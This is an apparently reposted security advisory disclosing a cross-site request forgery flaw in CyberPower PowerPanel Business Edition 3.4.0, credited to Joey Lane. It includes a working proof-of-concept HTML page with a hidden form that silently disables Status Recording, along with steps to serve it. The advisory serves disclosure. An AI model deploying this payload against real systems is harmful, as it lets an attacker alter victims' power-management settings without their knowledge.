CyberPower PowerPanel Business Edition 3.4.0 Cross-Site Request Forgery (CSRF) Vulnerability


CSRF in the Agent/Center component of CyberPower PowerPanel Business Edition 3.4.0 allows an attacker to submit POST requests to any forms in the web application. This can be exploited by tricking an authenticated user into visiting an attacker-controlled web page.


The information has been provided by Joey Lane

The original article can be found at:


The Agent/Center component of PowerPanel Business Edition is vulnerable to
cross site request forgery. This can be exploited by tricking an
authenticated user into visiting a web page controlled by a malicious

The following example uses CSRF to disable Status Recording under the Logs
/ Settings page. Create a file named ‘csrf.html’ on a local workstation
with the following contents:

<iframe style="display:none" name="csrf-frame"></iframe>
<div style="display: none;">
<form method='POST' action='http://(A VALID HOST
NAME):3052/agent/log_options' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='value(recordingEnable)' value='no'>
  <input type='hidden' name='value(recordingInterval)' value='10'>
  <input type='hidden' name='value(periodToRemoveRecord)' value='2'>
  <input type='hidden' name='value(clearAllStatusLogs)' value='no'>
  <input type='hidden' name='value(type)' value='records'>
  <input type='hidden' name='value(action)' value='Apply'>
  <input type='hidden' name='value(button)' value='Apply'>
  <input type='submit' value='submit'>

Serve the file using python or any other web server:

python -m SimpleHTTPServer 8000

Visit the local page in a browser while logged into PowerPanel Business


The hidden form is submitted in the background, and will disable Status
Recording. This could be adapted to exploit other forms in the web
application as well.

Vulnerable Systems:

PowerPanel Business Edition 3.4.0

CVE Information:


Disclosure Timeline:
Published Date:07/16/2019